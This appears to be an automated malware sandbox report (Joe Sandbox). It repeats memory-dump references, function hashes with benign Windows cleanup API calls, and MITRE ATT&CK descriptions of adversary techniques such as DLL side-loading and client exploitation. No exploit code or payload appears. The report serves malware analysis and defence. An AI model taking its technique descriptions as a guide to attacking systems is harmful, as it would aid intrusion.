Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: d39109f0dacb4e4b8c6989543b6e37210b45b6398013707ff3fc25e61b679efd
Instruction ID: 833471df7312bfef6168eca5c039cad571ddd461f85ef8e22140bf8c7213de40
Opcode Fuzzy Hash: d39109f0dacb4e4b8c6989543b6e37210b45b6398013707ff3fc25e61b679efd
Instruction Fuzzy Hash: D801B6B5A14208EFCB14DFE8DD8899EBBB9AF49301F104695F90A97350CA359E80DF60

Function 0093A0A4 Relevance: 5.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0093A140
LocalFree.KERNEL32(00000000), ref: 0093A14A
CloseHandle.KERNEL32(00000000), ref: 0093A156
LocalFree.KERNEL32(00000000), ref: 0093A160

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 3d1d1bafd3fab92f013ee0c7df5958127fb1fba9c69be4de289f224f19a6e53b
Instruction ID: 7b6885f40ffcc4c64d2cc97d2a891c0d24e5410a2cf9c357e7ded9a9cacf5466
Opcode Fuzzy Hash: 3d1d1bafd3fab92f013ee0c7df5958127fb1fba9c69be4de289f224f19a6e53b
Instruction Fuzzy Hash: 29F0B7B9A29208EFCB14DFE8DD8896EBB78AF8C341F004645B90697354CA349940DF20

Function 00925169 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 009256DD
LocalFree.KERNEL32(00000000), ref: 009256F2
CloseHandle.KERNEL32(00000000), ref: 00925702
CloseHandle.KERNEL32(00000000), ref: 00925712

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 61a0aa3b24a0d355620e185e0f28f8296dd18dbc8fc7fa3c415d5c3806d1eb17
Instruction ID: 46be08cff49035f71d3ee9a726b3ec4f085849b6ded811f2e96f369850231a85
Opcode Fuzzy Hash: 61a0aa3b24a0d355620e185e0f28f8296dd18dbc8fc7fa3c415d5c3806d1eb17
Instruction Fuzzy Hash: 6FF030B5929514DBC714CBACFC4CB6E7BB9BB48346F85892AE101964E4C7788980EF60

Function 009253CA Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 009256DD
LocalFree.KERNEL32(00000000), ref: 009256F2
CloseHandle.KERNEL32(00000000), ref: 00925702
CloseHandle.KERNEL32(00000000), ref: 00925712

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 7834ee3403e2cd0695355e0d88883e74ff7a18a4e770bc17ebc7649dbe25faab
Instruction ID: 46be08cff49035f71d3ee9a726b3ec4f085849b6ded811f2e96f369850231a85
Opcode Fuzzy Hash: 7834ee3403e2cd0695355e0d88883e74ff7a18a4e770bc17ebc7649dbe25faab
Instruction Fuzzy Hash: 6FF030B5929514DBC714CBACFC4CB6E7BB9BB48346F85892AE101964E4C7788980EF60

Function 009253E7 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 009256DD
LocalFree.KERNEL32(00000000), ref: 009256F2
CloseHandle.KERNEL32(00000000), ref: 00925702
CloseHandle.KERNEL32(00000000), ref: 00925712

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 2f5986be0ac23b28c6a2431be0fe8bce976b14807e3bbb0705c16da4534d608a
Instruction ID: 46be08cff49035f71d3ee9a726b3ec4f085849b6ded811f2e96f369850231a85
Opcode Fuzzy Hash: 2f5986be0ac23b28c6a2431be0fe8bce976b14807e3bbb0705c16da4534d608a
Instruction Fuzzy Hash: 6FF030B5929514DBC714CBACFC4CB6E7BB9BB48346F85892AE101964E4C7788980EF60

Function 0092549F Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 009256DD
LocalFree.KERNEL32(00000000), ref: 009256F2
CloseHandle.KERNEL32(00000000), ref: 00925702
CloseHandle.KERNEL32(00000000), ref: 00925712

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: bcc5f29946ea23a55c29499aca9f01a02407df955af3c71f22fc50e86a0dde87
Instruction ID: 46be08cff49035f71d3ee9a726b3ec4f085849b6ded811f2e96f369850231a85
Opcode Fuzzy Hash: bcc5f29946ea23a55c29499aca9f01a02407df955af3c71f22fc50e86a0dde87
Instruction Fuzzy Hash: 6FF030B5929514DBC714CBACFC4CB6E7BB9BB48346F85892AE101964E4C7788980EF60

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

